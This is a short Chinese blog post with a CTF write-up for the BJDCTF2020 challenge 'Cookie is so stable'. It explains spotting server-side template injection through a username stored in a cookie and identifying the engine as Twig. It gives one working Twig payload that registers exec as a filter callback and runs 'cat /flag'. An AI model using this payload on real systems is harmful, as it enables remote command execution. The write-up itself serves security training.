这个屌丝很懒，什么也没留下！

[BJDCTF2020]Cookie is so stable

作者：小蓝xlanll | 2024-03-17 19:52:20

hint提示查看cookies

flag.php页面我们先随便输入一个名字

输入后我们重新进一次flag.php，发现cookie里存储了刚刚登陆时输入的用户名，直接猜是ssti

尝试后根据ssti特征判断是twig模板

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

这里貌似只能显示一行，ls显示不全，所以直接猜flag在根目录下了

声明：本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：【wpsshop博客】